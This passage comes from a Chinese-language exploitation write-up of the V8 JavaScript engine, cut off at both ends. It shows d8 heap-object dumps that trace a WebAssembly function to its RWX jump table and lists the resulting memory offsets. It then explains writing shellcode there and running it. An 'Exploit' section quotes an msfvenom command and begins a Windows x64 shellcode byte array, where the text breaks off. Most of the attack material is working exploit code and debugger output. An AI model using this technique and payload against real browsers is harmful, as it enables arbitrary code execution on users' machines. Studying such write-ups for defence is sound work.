20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>0x00002fac7911ed38    0x00000d1caca00691    FEEDBACK_CELL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>0x00002fac7911ed40    0x00002dc28a002001    CODE_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>----- [ TRANSITION_ARRAY_TYPE : 0x30 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>0x00002fac7911ed48    0x00000cdfc0080b69    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>0x00002fac7911ed50    0x0000000400000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>0x00002fac7911ed58    0x0000000000000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>function 1() { [native code] }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;"><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DumpObjects(0x00002fac7911ecd9,11)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>0x00002fac7911ecd8    0x00000cdfc0080989    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>0x00002fac7911ece0    0x00002fac7911ecb1    WASM_EXPORTED_FUNCTION_DATA_TYPE   &lt;=========== <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>0x00002fac7911ece8    0x00000cdfc00842c1    ONE_BYTE_INTERNALIZED_STRING_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>0x00002fac7911ecf0    0x00000cdfc0082ad1    FEEDBACK_METADATA_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>0x00002fac7911ecf8    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>0x00002fac7911ed00    0x000000000000004f    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>0x00002fac7911ed08    0x000000000000ff00    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>----- [ JS_FUNCTION_TYPE : 0x38 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>0x00002fac7911ed10    0x00001024ebc84191    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>0x00002fac7911ed18    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>0x00002fac7911ed20    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>0x00002fac7911ed28    0x00002fac7911ecd9    SHARED_FUNCTION_INFO_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>52417812098265<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;"><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DumpObjects(0x00002fac7911ecb1,11)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>0x00002fac7911ecb0    0x00000cdfc00857a9    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>0x00002fac7911ecb8    0x00002dc28a002001    CODE_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>0x00002fac7911ecc0    0x00002fac7911eb29    WASM_INSTANCE_TYPE  &lt;========================  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>0x00002fac7911ecc8    0x0000000000000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>0x00002fac7911ecd0    0x0000000100000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span>0x00002fac7911ecd8    0x00000cdfc0080989    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>0x00002fac7911ece0    0x00002fac7911ecb1    WASM_EXPORTED_FUNCTION_DATA_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span>0x00002fac7911ece8    0x00000cdfc00842c1    ONE_BYTE_INTERNALIZED_STRING_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span>0x00002fac7911ecf0    0x00000cdfc0082ad1    FEEDBACK_METADATA_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>0x00002fac7911ecf8    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span>0x00002fac7911ed00    0x000000000000004f    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>52417812098225<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">51</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;"><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">52</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">53</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">54</span>d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DumpObjects(0x00002fac7911eb29,41)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">55</span>----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">56</span>0x00002fac7911eb28    0x00001024ebc89411    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">57</span>0x00002fac7911eb30    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">58</span>0x00002fac7911eb38    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">59</span>0x00002fac7911eb40    0x00002073d820bac1    WASM_MODULE_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">60</span>0x00002fac7911eb48    0x00002073d820bcf1    JS_OBJECT_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">61</span>0x00002fac7911eb50    0x00002fac79101741    NATIVE_CONTEXT_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">62</span>0x00002fac7911eb58    0x00002fac7911ec59    WASM_MEMORY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">63</span>0x00002fac7911eb60    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">64</span>0x00002fac7911eb68    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">65</span>0x00002fac7911eb70    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">66</span>0x00002fac7911eb78    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">67</span>0x00002fac7911eb80    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">68</span>0x00002fac7911eb88    0x00002073d820bc79    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">69</span>0x00002fac7911eb90    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">70</span>0x00002fac7911eb98    0x00002073d820bc69    FOREIGN_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">71</span>0x00002fac7911eba0    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">72</span>0x00002fac7911eba8    0x00000cdfc00804c9    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">73</span>0x00002fac7911ebb0    0x00000cdfc00801d1    ODDBALL_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">74</span>0x00002fac7911ebb8    0x00002dc289f94d21    CODE_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">75</span>0x00002fac7911ebc0    0x0000000000000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">76</span>0x00002fac7911ebc8    0x00007f9f9cf60000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">77</span>0x00002fac7911ebd0    0x0000000000010000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">78</span>0x00002fac7911ebd8    0x000000000000ffff    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">79</span>0x00002fac7911ebe0    0x0000556b3a3e0c00    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">80</span>0x00002fac7911ebe8    0x0000556b3a3ea630    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">81</span>0x00002fac7911ebf0    0x0000556b3a3ea620    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">82</span>0x00002fac7911ebf8    0x0000556b3a47c210    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">83</span>0x00002fac7911ec00    0x0000000000000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">84</span>0x00002fac7911ec08    0x0000556b3a47c230    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">85</span>0x00002fac7911ec10    0x0000000000000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">86</span>0x00002fac7911ec18    0x0000000000000000    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">87</span>0x00002fac7911ec20    0x0000087e7c50a000    JumpTableStart [RWX]  &lt;=======================<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">88</span>0x00002fac7911ec28    0x0000556b3a47c250    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">89</span>0x00002fac7911ec30    0x0000556b3a47afa0    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">90</span>0x00002fac7911ec38    0x0000556b3a47afc0    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">91</span>----- [ TUPLE2_TYPE : 0x18 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">92</span>0x00002fac7911ec40    0x00000cdfc00827c9    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">93</span>0x00002fac7911ec48    0x00002fac7911eb29    WASM_INSTANCE_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">94</span>0x00002fac7911ec50    0x00002073d820b849    JS_FUNCTION_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">95</span>----- [ WASM_MEMORY_TYPE : 0x30 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">96</span>0x00002fac7911ec58    0x00001024ebc89e11    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">97</span>0x00002fac7911ec60    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">98</span>0x00002fac7911ec68    0x00000cdfc0080c19    FIXED_ARRAY_TYPE<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过如下的调试，可以得到相关偏移的信息（不同的checkout版本，可能偏移有差异）</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> WasmOffsets = { <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">shared_function_info</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">wasm_exported_function_data</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">wasm_instance</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">5</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">jump_table_start</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">31</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">6</span>};<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">定位到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JumpTableStart</code>后，最后将shellcode写入并执行。Of course，覆写shellcode前应当备份内存数据，执行shellcode后再修复修改的内存。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（5）Exploit</span></h3><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">/**** ┌──(root💀kali)-[~/bigric3/HW/SilverNeedle/scanner2/SilverNeedle-master]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  2</span>└─# msfvenom --arch x64 --platform windows --payload windows/x64/exec cmd=calc.exe -f c<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  3</span>****/</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  4</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  5</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> shellcode = [<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0xfc</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x83</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0xe4</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0xf0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0xe8</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0xc0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x41</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x51</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x41</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x50</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x52</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x51</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x56</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x31</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0xd2</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x65</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x52</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x60</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x52</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x18</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x52</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x20</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x72</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x50</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0f</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0xb7</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x4a</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x4a</span>,<span style="font-size: 